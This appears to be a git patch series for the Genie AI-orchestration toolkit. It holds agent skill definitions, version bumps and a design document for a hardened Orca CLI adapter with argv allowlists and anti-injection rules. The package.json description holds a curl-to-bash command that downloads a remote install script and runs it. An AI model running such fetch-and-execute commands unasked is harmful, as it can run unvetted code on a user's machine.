wishes/PRs, and cleanup -policy). Exit: all authorized tasks shipped, or a decision/action exceeds that -scope. - -### Default persona: pragmatic engineering manager - -``` -You are a pragmatic engineering manager making ship/no-ship decisions. - -Decision style: -- Approve when acceptance criteria are met — don't block for style preferences -- Push back on scope creep — if it's not in the wish, it waits -- Prioritize shipping over perfection — good enough today beats perfect next week -- Escalate security and data-integrity issues immediately — never approve shortcuts here -- Trust the evidence behind the verdict — if `review` says SHIP, approve unless you see something it missed - -When deciding: -1. Read the wish acceptance criteria -2. Check that each criterion has evidence of completion -3. Yes, and no CRITICAL/HIGH gaps → approve -4. Gaps exist → request specific fixes, not vague improvements -5. Scope creep detected → reject additions, keep the wish focused - -You represent the human. The PM asks, you decide. Be decisive — slow decisions block teams. -``` - -### Customizing - -Provide your own persona prompt in the subagent brief instead. A persona defines: -- **Decision style** — what to approve, what to reject -- **Priority framework** — how to weigh competing concerns -- **Escalation triggers** — when to defer to a human instead of deciding - -## Pair (PM + specialist) - -| Pair with | When | -|-----------|------| -| Brainstormer | Ideas need exploring before scoping | -| Council | Major design decisions need multi-perspective input | -| Reviewer | A quality gate needs PM context | -| QA | Test strategy needs PM input | - -Entry: PM detects a phase that benefits from specialist judgment. Exit: specialist delivers, PM resumes the normal flow. diff --git a/skills/quick/SKILL.md b/skills/quick/SKILL.md new file mode 100644 index 000000000..59363723a --- /dev/null +++ b/skills/quick/SKILL.md @@ -0,0 +1,135 @@ +--- +name: quick +description: "Ship tiny low-risk changes to dev within one hour." +--- + +# quick — One-hour delivery + +**Runtime syntax:** invoke the plugin copy through the active runtime's owner-qualified skill selector; use a bare selector only when intentionally selecting a user-tier copy (a separately installed personal copy; Genie no longer seeds this tier). Cross-skill prose below uses bare names as portable semantic routes; the orchestrator resolves the selector for the active runtime. + +Deliver one tiny, already-decided change through implementation, CI, merge, deployment and read-back in `dev`. The contract is **request → deployed-dev read-back within 60 minutes**; code or a PR without live read-back is not success. + +## When to Use + +Use only when all are true: + +- one existing behavior, repository, card and payout; +- low-impact, reversible change with an objective focused check; +- target is `dev`, never homolog or production; +- CI, deployment and read-back conservatively fit inside 60 minutes; +- existing merge authority already covers the repository and eligible `dev` merge; +- no unresolved product or architecture decision. + +Do not use for migrations; auth, permissions, secrets or tenant boundaries; billing or money; destructive/data-loss behavior; public API/protocol compatibility; irreversible/shared infrastructure; production mutation; multiple repos or independent payouts; or incidents with an unknown cause. + +## Admission — minute 0–5 + +1. Record the start and hard deadline with `terminal`; the deadline never moves. +2. Inspect the live card, repository, branch, CI, dev target and deployment path. +3. Verify an existing task-scoped merge grant or bounded Autopilot grant authorizes this repository and eligible `dev` merge. Do not request or manufacture authority inside Quick. +4. Write a one-screen execution contract in the response or worker brief: + - **core:** independently satisfies the request; + - **flex:** explicitly cuttable; + - **oracle:** focused check and visible dev read-back; + - **target:** exact repository, base branch and dev environment; + - **stop triggers:** any condition that rejects or ends Quick. +5. Refuse before implementation if any eligibility fact is missing. Return the inspected evidence and route the demand to the normal lifecycle; do not start that lifecycle silently. + +Admission is complete only when every eligibility fact and the existing merge authority are proven. + +## Execute — minute 5–35 + +1. Start exactly one executor through the active runtime's native delegation surface, inheriting the active runtime model and configuration. +2. Use one isolated worktree from the current target base. No fan-out, board/group ceremony, independent reviewer or model-selection machinery. +3. Implement only the core and a focused regression test where practical. Follow repository-local TDD and validation rules. +4. Cut flex immediately when evidence threatens the deadline. + +**No new surface enters after minute 35.** At minute 35 the branch must contain a complete candidate core or Quick stops as `quick-missed`. + +## Integrate — minute 35–50 + +1. Run the focused test and every affected repository check. +2. Perform one self-review of the exact diff for correctness, scope, secrets and target identity. +3. Apply at most one bounded correction while time remains. +4. Open the PR to `dev` and wait for every required CI check. Never bypass or weaken checks. + +**No new code change starts after minute 50.** If required CI is not green or the candidate is not merge-ready, stop as `quick-missed`. + +## Deliver — minute 50–60 + +1. Re-read the exact PR head, required CI and existing merge authority. +2. Merge to `dev` only inside that authority. +3. Verify the designated dev deployment serves the expected revision. +4. Exercise the changed behavior in dev and read back its observable result. +5. Report success only when deployment and behavior read-back both pass before the deadline. + +Quick never merges to homolog or production. A separate human-controlled promotion may consume the already-proven dev result later. + +## Timeout and Failure + +At or before minute 60, when any success condition is absent: + +- stop automatically; +- preserve the branch, commits, PR and evidence; +- emit `quick-missed` with elapsed time, exact completed state and blocker; +- return the demand to normal sizing/workflow; +- do not continue, retry, discard work or claim partial delivery. + +A failed focused check, failed CI, wrong target, missing authority, deployment mismatch or failed read-back is a miss—not permission to lower the gate. + +## Output + +### Success + +```text +quick-shipped +Core: <observable behavior> +PR: <url and exact head> +CI: <required checks> +Dev: <target revision and read-back> +Elapsed: <request to verified dev> +Flex cut: <items or none> +``` + +### Refusal + +```text +quick-refused +Reason: <eligibility or authority failure> +Evidence: <live fact> +Route: <normal lifecycle entry point> +Effects: none +``` + +### Miss + +```text +quick-missed +Elapsed: <time> +Preserved: <branch/PR/commit> +Completed: <verified state> +Blocker: <exact unmet gate> +Next route: normal sizing/workflow +``` + +## Pitfalls + +- Counting PR creation or merge as delivery without dev deployment/read-back. +- Starting while CI or deployment is already too slow to fit the remaining hour. +- Treating file count as eligibility; consequence, reversibility and oracle quality decide. +- Asking for merge permission after implementation; missing authority is an admission refusal. +- Continuing after 60 minutes because the task feels almost complete. +- Opening parallel workers to recover time; concurrency changes the risk class and exits Quick. + +## Verification + +Before `quick-shipped`, verify all of the following: + +- one executor and one repository/worktree; +- focused tests and affected checks passed; +- required PR CI passed on the exact merged head; +- existing merge authority covered the exact merge; +- dev serves the intended revision; +- changed behavior was exercised and read back; +- total elapsed time is at most 60 minutes; +- no homolog or production mutation occurred. diff --git a/skills/quick/agents/openai.yaml b/skills/quick/agents/openai.yaml new file mode 100644 index 000000000..dad461ba1 --- /dev/null +++ b/skills/quick/agents/openai.yaml @@ -0,0 +1,4 @@ +interface: + display_name: "Quick Delivery" + short_description: "Ship a tiny low-risk dev change within one hour" + default_prompt: "Deliver this eligible tiny change through verified dev read-back within one hour." diff --git a/src/lib/runtime-integrations.ts b/src/lib/runtime-integrations.ts index d82396197..19a6790c8 100644 --- a/src/lib/runtime-integrations.ts +++ b/src/lib/runtime-integrations.ts @@ -67,8 +67,8 @@ export const CANONICAL_GENIE_SKILL_NAMES = [ 'genie-hacks', 'omni', 'perf', - 'pm', 'qa', + 'quick', 'refine', 'repo-hygiene', 'report', From ffb39baf219e73b89cda9c2abf348aae647ebd3e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 01:55:46 +0000 Subject: [PATCH 02/45] chore(version): bump to 5.260829.1 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 3f2cdb28c..c0468bfe4 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260816.2", + "version": "5.260829.1", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index fe6ace7d2..d6b794d3a 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260816.2", + "version": "5.260829.1", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 99ed43a3c..7a376f115 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260816.2", + "version": "5.260829.1", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 25bc0d30d..94f0d0c26 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260816.2", + "version": "5.260829.1", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index 8f82b583c..5d63d07ee 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260816.2", + "version": "5.260829.1", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 140b222fd..71b9c770c 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260816.2", + "version": "5.260829.1", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 380bacc8e..388367684 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260816.2 +version: 5.260829.1 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index dc541221f..495b1d863 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260816.2", + "version": "5.260829.1", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From bd9971146b5356de7bc7f52acc8370be7cf102e3 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 18:44:44 +0000 Subject: [PATCH 03/45] docs: approve dual-mode Orca plugin Option A wish (#2807) * docs: design dual-mode Orca plugin option A * docs: resolve option A design findings * docs: close Orca adapter contract domains * docs: close Orca adapter review gaps * docs: clarify ack timeout ambiguity * docs: add dual-mode Orca plugin wish * docs: approve dual-mode Orca plugin wish * docs: reconcile dual-mode Orca wish evidence * docs: clarify ambiguous Orca mutation recovery * docs: mark amended Orca design review pending * docs: correct Orca planning provenance * docs: reconcile option a pre-stamp lifecycle * docs: stamp Option A planning approval * docs: return Option A plan to pending review * docs: approve Option A planning evidence * docs: fix Option A lifecycle wording * docs: restore Option A pending review state * docs: stamp Option A SHIP review --- .genie/INDEX.md | 2 +- .../genie-dual-mode-orca-plugin/DESIGN.md | 401 ++++++++++++++++++ .../genie-dual-mode-orca-plugin/DRAFT.md | 18 + .../genie-dual-mode-orca-plugin/WISH.md | 395 +++++++++++++++++ 4 files changed, 815 insertions(+), 1 deletion(-) create mode 100644 .genie/brainstorms/genie-dual-mode-orca-plugin/DESIGN.md create mode 100644 .genie/brainstorms/genie-dual-mode-orca-plugin/DRAFT.md create mode 100644 .genie/wishes/genie-dual-mode-orca-plugin/WISH.md diff --git a/.genie/INDEX.md b/.genie/INDEX.md index 97de6c5fb..671ebd05c 100644 --- a/.genie/INDEX.md +++ b/.genie/INDEX.md @@ -19,7 +19,7 @@ - [brainstorm-domain-map](brainstorms/brainstorm-domain-map/DRAFT.md) — **LIVE (re-verified 2026-07-21):** WRS 80; executable spec compiler (intent → requirement-ID → oracle-class → execution → proof-packet); deterministic gates, residual-risk review only; subjective-truth ownership still open (umbrella G8) ## Ready - +- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **APPROVED / SHIP** (A0 canonical-doc evidence gate closed; current design digest `2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9`; independent reviewer `term_6c98a3c8-7ac8-4274-a8e9-ade35e2d82dd`, `2026-08-29T18:13:16Z`): preserve standalone lifecycle authority while explicit Orca mode uses only a closed, stateless public `orca orchestration ... --json` adapter; next A1 mode guards ∥ A2 adapter → A3 plugin → A4 lifecycle → A5 packaging → A6 docs → A7 MCP retirement. P1 remains no-retry with recovery reads limited to an exact identifier known before launch; no fallback, lifecycle store, private API, board/global-DB mutation, or implementation is authorized outside this approved plan. - [WISH: v4-home-residue-doctor](wishes/v4-home-residue-doctor/WISH.md) — **DRAFT** (2026-07-05, small appetite, never started; Felipe directive: "find and clean all stale genie v4 shit… genie doctor should do that"): v4 residue manifest + doctor check/fix + diagnostics age filter. Relevance raised 2026-07-26 by the backlog sweep: the only live-impact open product bug (#2450 — v4 pgserve PM2 entry crash-loops after upgrade) is v4 daemon/process residue that file-scoped `legacy-v4.ts` never touches; this wish is the natural vehicle (added to INDEX 2026-07-26 — entry was missing) - [WISH: release-ops-hardening](wishes/release-ops-hardening/WISH.md) — **DRAFT** (2026-07-26, small-medium appetite; needs Felipe approval + a plan gate before execution): enforce the outage-taught release rules mechanically — publish admit refuses re-dispatch of published versions (#2674), orphan-alert exempts pending stable candidates (structural false positive on every dev→main promotion, live example #2681), #2675 dead-default deletion + multi-attestation/CAS-loop test coverage + #2669 pin-checker quoting, and dogfood FIXTURE_N tracking real N. Sequenced after the first stable release diff --git a/.genie/brainstorms/genie-dual-mode-orca-plugin/DESIGN.md b/.genie/brainstorms/genie-dual-mode-orca-plugin/DESIGN.md new file mode 100644 index 000000000..cf1976565 --- /dev/null +++ b/.genie/brainstorms/genie-dual-mode-orca-plugin/DESIGN.md @@ -0,0 +1,401 @@ +# Design: Genie dual-mode Orca plugin — Option A + +| Field | Value | +|-------|-------| +| **Slug** | `genie-dual-mode-orca-plugin` | +| **Date** | 2026-08-29 | +| **WRS** | 100/100 | + +## Problem + +Genie's repository SQLite database and git-tracked roadmap are currently its lifecycle authority. In Orca +mode, Orca must instead be the single lifecycle authority, reached only through Orca's documented public CLI. +The integration must not create an injection surface, depend on private host APIs, preserve the retired MCP +architecture, or maintain a local mirror that can diverge. At the same time, existing users who do not use +Orca must retain today's standalone behavior. + +This design is authoritative for Option A. The dirty `v6/corpo-leve` checkout and its staged artifacts are +historical evidence only. Its typed-host-API, Linear, and named/obsolete-model assumptions are not adopted. + +## Scope + +### IN + +- A global, schema-validated `orchestration.mode` in `<GENIE_HOME>/config.json` with exactly `standalone` + and `orca`. `standalone` is the backwards-compatible default; entering `orca` is always explicit. +- One central mode resolver and two fail-closed barriers in Orca mode: + 1. a **database pre-open barrier** that refuses before per-repository lifecycle SQLite is opened, created, + migrated, or written; and + 2. a **roadmap pre-write barrier** that refuses before roadmap sync, export, replacement, or any other + write can change `.genie/roadmap.json`. +- Coverage of all writable entrypoints, including indirect `task`, `board`, sync/export, and former MCP + paths. A missed caller cannot bypass the low-level barriers. +- A Genie-owned Orca plugin whose complete lifecycle transport is `orca orchestration <verb> ... --json`, + launched as an argv vector through the platform process API with shell evaluation disabled. +- A compiled positive allowlist of public orchestration verbs and verb-specific input/response schemas. +- Deterministic Orca runtime resolution, bounded execution, JSON receipts, mutation read-backs, typed errors, + and operator-actionable diagnostics. +- Parity-first retirement of `genie mcp`, the Genie MCP server/tools/launchers, and only registrations proven + to be Genie-owned. +- Plugin manifests, marketplace metadata, install/update/rollback/uninstall and mode-switch behavior, + `doctor` reporting, release inventory/tarball validation, and user/contributor documentation. + +### OUT + +- A typed Orca host API, internal RPC, private host calls, direct Orca database access, or an Orca fork. +- Shell command strings, `shell: true`, raw argv supplied by a caller, terminal input injection, + `orca orchestration dispatch`, `dispatch --inject`, or any terminal-send equivalent. +- A local fallback when Orca is selected; a second lifecycle store, cache, queue, retry ledger, task mirror, + or roadmap mirror; and background synchronization between Genie and Orca. +- Migrating or deleting existing Genie databases, roadmaps, boards, or Orca Run/Task/Dispatch records. Mode + changes select authority for future operations; they do not rewrite history. +- Requiring Linear, telemetry, a daemon, a named model, v6 prototype skill routing, or an upstream Orca idea. +- A generic process runner, caller-selected executable path, arbitrary flags, remote orchestration protocol, + or configurable command allowlist. + +## Approach + +Implement authority selection before integration. Every process resolves the mode once through a shared +resolver, but every dangerous low-level seam still enforces the resolved mode. In `standalone`, current +database and roadmap behavior is unchanged. In `orca`, local lifecycle reads and writes that imply local +authority return one stable `local_lifecycle_disabled_in_orca_mode` error before filesystem mutation. The +Orca plugin then translates validated operations into a finite public-CLI argv grammar and treats Orca's +JSON response as the external authority. + +The plugin is an adapter, not an orchestration implementation. It holds no lifecycle state. A successful +process exit without a valid receipt is failure; a valid mutation receipt whose read-back disagrees is also +failure. Transport failure never switches mode and never invokes Genie local state. + +## Public CLI boundary + +The initial capability table is closed and versioned with the plugin. Each row names the only accepted +public CLI verb and its post-mutation proof. Verbs absent from the table are unavailable even if the +installed Orca version supports them. + +The adapter accepts exactly the semantic inputs below. Required inputs are unbracketed; bracketed inputs are +optional. The emitted flag column is exhaustive: the adapter owns the executable, the `orchestration` +prefix, argument order, and one final `--json`; callers cannot supply any other flag or positional value. + +| Public verb | Accepted semantic inputs | Exact emitted flags, in order | Post-mutation proof | +|-------------|--------------------------|-------------------------------|---------------------| +| `run-create` | `objective` | `--objective <text>` | `run-show --id <receipt.runId>` | +| `run-list` | `[limit]`, `[cursor]` | `[--limit <limit:1..100>] [--cursor <cursor>]` | Validated read envelope | +| `run-show` | `id` | `--id <run-id>` | Validated identified read envelope | +| `run-current` | none | none | Validated identified read envelope containing the invoking terminal's current Run binding | +| `run-use` | `id` | `--id <run-id>` | `run-current` and verify both the requested Run ID and the requested invoking-terminal binding | +| `task-create` | `spec`, `[title]`, `[deps]`, `[parent]` | `--spec <text> [--task-title <text>] [--deps <task-id-array>] [--parent <task-id>]` | `task-list`, locate `receipt.taskId`, and compare immutable fields | +| `task-list` | `[status]`, `[ready]`, `[brief]` | `[--status <task-status>] [--ready] [--brief]` | Validated read envelope | +| `task-update` | `id`, `status`, `[result]` | `--id <task-id> --status <task-status> [--result <task-result>]` | `task-list`, locate the requested ID, and compare status/result | +| `worker-start` | `task`, `agent`, `[model]`, `[effort]`, `[timeoutMs]` | `--task <task-id> --worktree current --agent <agent> [--model <model-id> [--effort <effort>]] [--timeout-ms <timeout-ms:250..600000>]` | `worker-show --dispatch <receipt.dispatchId>` | +| `worker-show` | `dispatch` | `--dispatch <dispatch-id>` | Validated identified read envelope | +| `worker-read` | `dispatch`, `[source]`, `[cursor]`, `[limit]` | `--dispatch <dispatch-id> [--source <worker-source>] [--cursor <cursor>] [--limit <limit:1..100>]` | Validated bounded read envelope | +| `worker-release` | `dispatch` | `--dispatch <dispatch-id>` | `worker-show --dispatch <requested-id>` and verify the public released/retained terminal disposition | +| `send` | `subject`, `[body]`, `[type]`, `[priority]`, `[threadId]`, `[payload]` | `--subject <text> [--body <text>] [--type <message-type>] [--priority <priority>] [--thread-id <thread-id>] [--payload <send-payload>]` | Validated bounded mutation receipt; receipt-only exception because the allowed public subset has no stable message-by-ID read | +| `check` | `[ack]`, `[unread]`, `[peek]`, `[all]`, `[types]`, `[wait]`, `[timeoutMs]` | `[--ack <delivery-id>] [--unread\|--peek\|--all] [--types <message-type-csv>] [--wait [--timeout-ms <timeout-ms:250..600000>]]` | Without `ack`, validated bounded read envelope; with `ack`, validated bounded acknowledgement receipt naming the requested delivery ID and an explicit acknowledged state | +| `reply` | `id`, `body` | `--id <message-id> --body <text>` | Validated bounded mutation receipt; receipt-only exception because the allowed public subset has no stable message-by-ID read | +| `ask` | exactly one of `question` or `resume`, `[options]`, `[timeoutMs]` | `--question <text>\|--resume <message-id> [--options <option-csv>] [--timeout-ms <timeout-ms:250..600000>]` | Validated answer/pending receipt; recovery resumes the same message ID | +| `gate-create` | `task`, `question`, `[options]` | `--task <task-id> --question <text> [--options <option-array>]` | `gate-list --task <requested-task>`, locate `receipt.gateId`, and compare question/options | +| `gate-list` | `[task]`, `[status]` | `[--task <task-id>] [--status <gate-status>]` | Validated read envelope | +| `gate-resolve` | `id`, `resolution`, `task` | `--id <gate-id> --resolution <text>` (`task` is proof context and is not emitted) | `gate-list --task <task-id>`, locate the requested gate ID, and compare resolved status/resolution | + +The placeholders above name these closed, versioned scalar and structured domains; they are not open extension +points: + +- Every Run, Task, Dispatch, Delivery, Message, Thread, and Gate ID is 1-128 ASCII characters matching + `[A-Za-z][A-Za-z0-9_-]*`. A cursor is 1-512 printable ASCII characters, excluding whitespace, control + characters, a leading `-`, and shell metacharacters. A model ID uses the same cursor grammar with a 128-byte + maximum. Limits are integers from 1 through 100; timeouts are integers from 250 through 600,000 milliseconds. +- `<text>` means normalized UTF-8 with no NUL or unpaired surrogate: objective/spec/body/result summary/resolution + are 1-16,384 bytes, title/subject/question are 1-512 bytes, and option/phase/path values are 1-256 bytes. + Optional text, when present, cannot be empty. Boolean fields are actual booleans, never string coercions. +- Task status is exactly `pending | ready | dispatched | completed | failed | blocked`; gate status is exactly + `pending | resolved`; message type is exactly `status | dispatch | worker_done | merge_ready | escalation | + handoff | question | decision_gate | heartbeat`; priority is exactly `low | normal | high | urgent`; worker + source is exactly `auto | transcript | terminal`; agent is exactly `claude | codex | cursor | droid | gemini | + grok | opencode`; and effort is exactly `low | medium | high | xhigh`. `check.types` is a unique, non-empty + subset of the message-type domain, serialized in caller order as CSV. `ready`, `brief`, `wait`, and exactly one + of `unread | peek | all` are booleans; `timeoutMs` is accepted only with `wait` for `check`. +- `deps` is a unique array of 0-64 Task IDs. Ask options are 1-10 unique option strings. The public CLI's ask + encoding is a comma-delimited, single-record list with `,` as its field delimiter and CR (`U+000D`) and LF + (`U+000A`) as its record delimiters; an ask option containing any of those three code points is rejected, and + the validated options are joined with literal commas without quoting or escaping. Gate options retain the + lossless JSON array encoding and the same option count/text domain, without the ask-only delimiter exclusion. + `result` is either absent or the exact object `{ summary, artifacts? }`, where + `summary` is bounded result-summary text and `artifacts` is a unique array of 0-32 bounded path values. + `send.payload` is either absent or the exact object `{ taskId?, dispatchId?, phase?, outcome?, filesModified?, + reportPath? }`: IDs use their domains, `phase` is bounded phase text, `outcome` is `succeeded | failed`, + `filesModified` is a unique array of 0-128 bounded path values, and `reportPath` is one bounded path value. + Payload requires at least one property; extra properties and JSON `null`, numbers, nested objects, or arrays + other than the two named arrays are rejected. All JSON objects reject duplicate keys and all structured + values must serialize to at most 32 KiB. +- `worker-start.effort` requires `model`; `ask` accepts exactly one of `question` or `resume`, and options only + with `question`. Every array is copied after validation and has the per-item bounds above; sparse arrays, + duplicate entries, non-string elements, and extra object fields are invalid. + +`dispatch`, `dispatch-show`, terminal handles as message destinations, `worker-stop`, `worker-abandon`, +`worker-retain`, `reset`, and every other unlisted verb are outside the plugin. Adding a verb requires a +design amendment, schema/argv/response tests, threat review, and a new plugin compatibility version. + +For each listed verb, a discriminated TypeScript input schema accepts only documented semantic fields. The +adapter constructs `["orchestration", verb, ...validatedArguments, "--json"]` internally. Structured field +values are JSON-serialized only for flags whose documented CLI grammar requires JSON. Unknown fields, +unknown flags, positional spillover, values containing a flag in place of data, raw argv, command strings, +and a caller-provided `--json` are rejected before process launch. The adapter appends exactly one final +`--json` and never interpolates values into a shell program. + +The exact flag-shaped predicate is `value.length > 0 && value[0] === '-'`, where `value` is the normalized +string and `'-'` is ASCII hyphen-minus (`U+002D`). It is applied after domain validation to every +caller-derived scalar serialized as the argv token immediately following a flag, including text, IDs, cursors, +enum values, numeric strings, CSV strings, and serialized JSON strings; a match rejects the operation before +spawn. It does not inspect scalar contents inside JSON as separate argv tokens, because the emitted JSON token +begins with `[` or `{` and structured schemas validate those contents independently. + +Contract tests cover every row and must negatively prove rejection before spawn of malformed IDs/cursors/text, +out-of-range limits/timeouts, unknown enum members, duplicate/out-of-domain array members, sparse or oversized +arrays, malformed JSON, duplicate JSON keys, `null`, wrong JSON scalar types, excess nesting/size, and missing or +extra `result`/`send.payload` fields. They also reject all terminal flags +(`--terminal`, terminal handles, `--format`), setup/placement flags (`--setup`, `--worktree` from callers, +`--name`, `--repo`, `--base-branch`), routing/impersonation flags (`--on`, `--to`, `--run`, `--from`, +`--dispatch-capability`, `--takeover-legacy`), executable selection or wrapper inputs, raw argv/command +strings, recovery-only `--retry-request`, caller-supplied `--json`, and every unknown flag or field. Values +are also tested against flag-shaped substitution. Boundary fixtures reject `-`, `--`, `-x`, `--json`, `-1`, +and `-\u00e9`, while accepting `x-y`, an initial Unicode en dash (`U+2013`), and a serialized JSON token whose +nested string begins with `-`; the same predicate fixture is generated for every scalar-following-flag slot in +every row. Ask fixtures reject comma, CR, and LF in each option and prove distinct accepted option arrays +round-trip through the emitted CSV; gate-option fixtures prove those characters remain lossless through JSON. +The sole emitted `--worktree current` is an adapter +constant for `worker-start`, never caller input or a general placement surface. + +## Runtime, receipts, and failure contract + +Runtime resolution is deterministic and resolved once per invocation: + +1. use the host-provided `ORCA_CLI_COMMAND` only when it is a single validated executable token (not an argv + string, shell fragment, relative traversal, or wrapper plus flags); +2. otherwise select `orca-ide` on Linux outside an Orca-managed terminal, `orca.exe` on Windows, or `orca` + on macOS and Orca-managed terminals; and +3. do not try a second candidate after selection fails. + +The packaging spike must verify the actual plugin host exposes safe child-process execution. If it does not, +Option A fails with `unsupported_environment`; it must not substitute a typed host API, internal RPC, or local +fallback. Runtime discovery and supported-platform policy are documented in one module and manifest range. + +Execution uses the platform's spawn-equivalent with `shell: false`, a fixed timeout, a fixed combined output +cap, explicit environment inheritance policy, and termination followed by bounded reap. stdout must contain +exactly one valid Orca JSON envelope; stderr is bounded diagnostic context and never parsed as success. +Secrets and unbounded payload bodies are redacted from logs and error objects. + +Mutations require all of the following: + +1. exit status zero within the deadline; +2. a schema-valid JSON success envelope containing an operation/entity identifier; +3. for create/change operations with a public read path, an immediate allowlisted read-back matching that + identifier and requested immutable fields; and +4. a normalized receipt returned to the caller with verb, Orca identifiers, runtime/version metadata, and + timestamps, but no second-store persistence. + +The named read-back probes are `run-current` after `run-use`, `gate-list --task` after `gate-resolve`, and +`worker-show` after `worker-release`; their response schemas must expose enough public state to prove the +requested effect. In particular, `run-current` must return the requested Run ID and a coordinator terminal +identity equal to both the binding reported by `run-use` and the runtime-attested invoking terminal; `run-show` +alone is not proof of terminal binding. If a supported Orca compatibility range lacks one of those public fields, +that mutation is unsupported for that range unless a narrow design amendment documents why no public read exists +and permits a receipt-only exception for that verb. Today the receipt-only mutations are `send`, `reply`, and +`check --ack`: the allowed public subset has no stable message-by-ID read for `send`/`reply` and no separate +delivery-by-ID acknowledgement read for `check --ack`. An acknowledgement success is accepted only from a +bounded normalized receipt whose operation is `check`, delivery ID equals the requested `ack`, acknowledged +state is explicitly true, and runtime/version metadata and timestamp satisfy the common receipt schema; a read +envelope or an omitted/mismatched acknowledgement field is `missing_receipt`/`readback_mismatch`, not success. +Mutations, including `check --ack`, are never retried automatically because a timeout can hide a committed +mutation. After spawn, a timeout, output-limit failure, or transport loss before a schema-valid receipt supplies +the operation's unique entity ID is `ambiguous_after_possible_commit`, not a recoverable `timeout` or +`output_limit`. The adapter must not guess an ID, enumerate a collection to infer one, issue an entity-specific +read-back, or retry the mutation. This makes every receipt-only mutation and every create mutation without its +valid identifying receipt ambiguous within the adapter; only external or operator confirmation may justify a +later attempt. + +An immediate automated recovery read-back is permitted only when the mutation's exact entity identifier was +independently known and validated before launch, the capability table names a public read command for that exact +identifier, and the read is not itself a mutation. The read-back may establish committed or uncommitted state +before the caller decides whether to issue a new mutation; it never authorizes an automatic retry. A valid receipt +may supply the unique ID used by the normal success-path read-back, but bytes from a truncated, over-limit, +malformed, or transport-failed response do not. `check --ack` remains receipt-only despite its independently known +delivery ID because the allowed public subset has no exact acknowledgement read: a response loss is therefore +`ambiguous_after_possible_commit`, and only external or operator confirmation may justify a later acknowledgement +attempt. Pre-spawn validation/resolution failures retain their specific safe-to-retry errors because no process was +launched; post-spawn failures carry the ambiguity classification whenever commit cannot be excluded. + +The stable error taxonomy is: + +- `unsupported_platform` / `unsupported_environment` +- `executable_unavailable` / `incompatible_cli_version` +- `invalid_operation` / `invalid_argument` +- `timeout` / `output_limit` +- `ambiguous_after_possible_commit` +- `process_exit` +- `malformed_json` / `unexpected_response` +- `missing_receipt` / `readback_mismatch` +- `local_lifecycle_disabled_in_orca_mode` + +Every error includes the safe operation name, phase, retry-safety classification, and recovery hint. It does +not include an executable search fallback, raw secrets, or an instruction to switch silently to standalone. + +## Dual-mode authority barriers + +The database barrier belongs below command routing, immediately before the first writable/opening SQLite +primitive. In Orca mode it prevents file creation, WAL/SHM creation, schema inspection that migrates, and +implicit initialization. Read-only code that relies on the local lifecycle DB is also refused because serving +stale local state would imply competing authority. + +The roadmap barrier belongs at the final common write seam and is also checked before any sync/export +calculation 